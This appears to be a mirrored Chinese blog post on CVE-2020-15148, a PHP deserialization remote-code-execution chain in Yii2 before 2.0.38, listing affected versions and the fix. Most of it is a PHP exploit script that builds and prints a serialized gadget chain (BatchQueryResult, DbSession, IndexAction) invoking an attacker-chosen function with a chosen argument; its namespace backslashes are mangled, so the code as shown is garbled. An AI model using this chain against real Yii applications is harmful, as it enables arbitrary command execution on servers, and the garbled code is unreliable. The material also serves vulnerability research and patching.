zoukankan      html  css  js  c++  java
  • CVE-2020-15148 Yii框架反序列化RCE利用链 exp

    简介

    如果在使用yii框架,并且在用户可以控制的输入处调用了unserialize()并允许特殊字符的情况下,会受到反序列化远程命令命令执行漏洞攻击。

    该漏洞只是php 反序列化的执行链,必须要配合unserialize函数才可以达到任意代码执行的危害。

    该反序列化执行链在今年8月初已经公开,建议使用yii框架的同学排查

    影响范围

    Yii2 <2.0.38

    修复方案

    目前官方已经禁止BatchQueryResult类被反序列化

    exp

    
    <?php
    namespace yii
    est {
        class Action extends yiiaseAction
        {
            public $checkAccess;
        }
        class IndexAction extends Action
        {
            public function __construct($func, $param)
            {
                $this->checkAccess = $func;
                $this->id = $param;
            }
        }
    }
    namespace yiiweb {
        abstract class MultiFieldSession
        {
            public $writeCallback;
        }
        class DbSession extends MultiFieldSession
        {
            public function __construct($func, $param)
            {
                $this->writeCallback = [new yii
    estIndexAction($func, $param), "run"];
            }
        }
    }
    namespace yiiase {
        class BaseObject
        {
            //
        }
        class Action
        {
            public $id;
        }
    }
    namespace yiidb {
        use yiiaseBaseObject;
        class BatchQueryResult extends BaseObject
        {
            private $_dataReader;
            public function __construct($func, $param)
            {
                $this->_dataReader = new yiiwebDbSession($func, $param);
            }
        }
    }
    $exp = new yiidbBatchQueryResult($func, $param);
    print(serialize($exp));
    
    
    

    参考

    1. https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99
    2. https://xz.aliyun.com/t/8082#toc-8
    3. https://github.com/AFKL-CUIT/phpggc/
  • 相关阅读:
    随机ID添加
    学生ID查询
    node.js基础
    冒泡排序
    循环判断语句
    vue.js详细教程--优优优
    final注意事项
    HashMap Hashtable区别
    java中间件
    JSP错误页面
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/13693969.html
Copyright © 2011-2022 走看看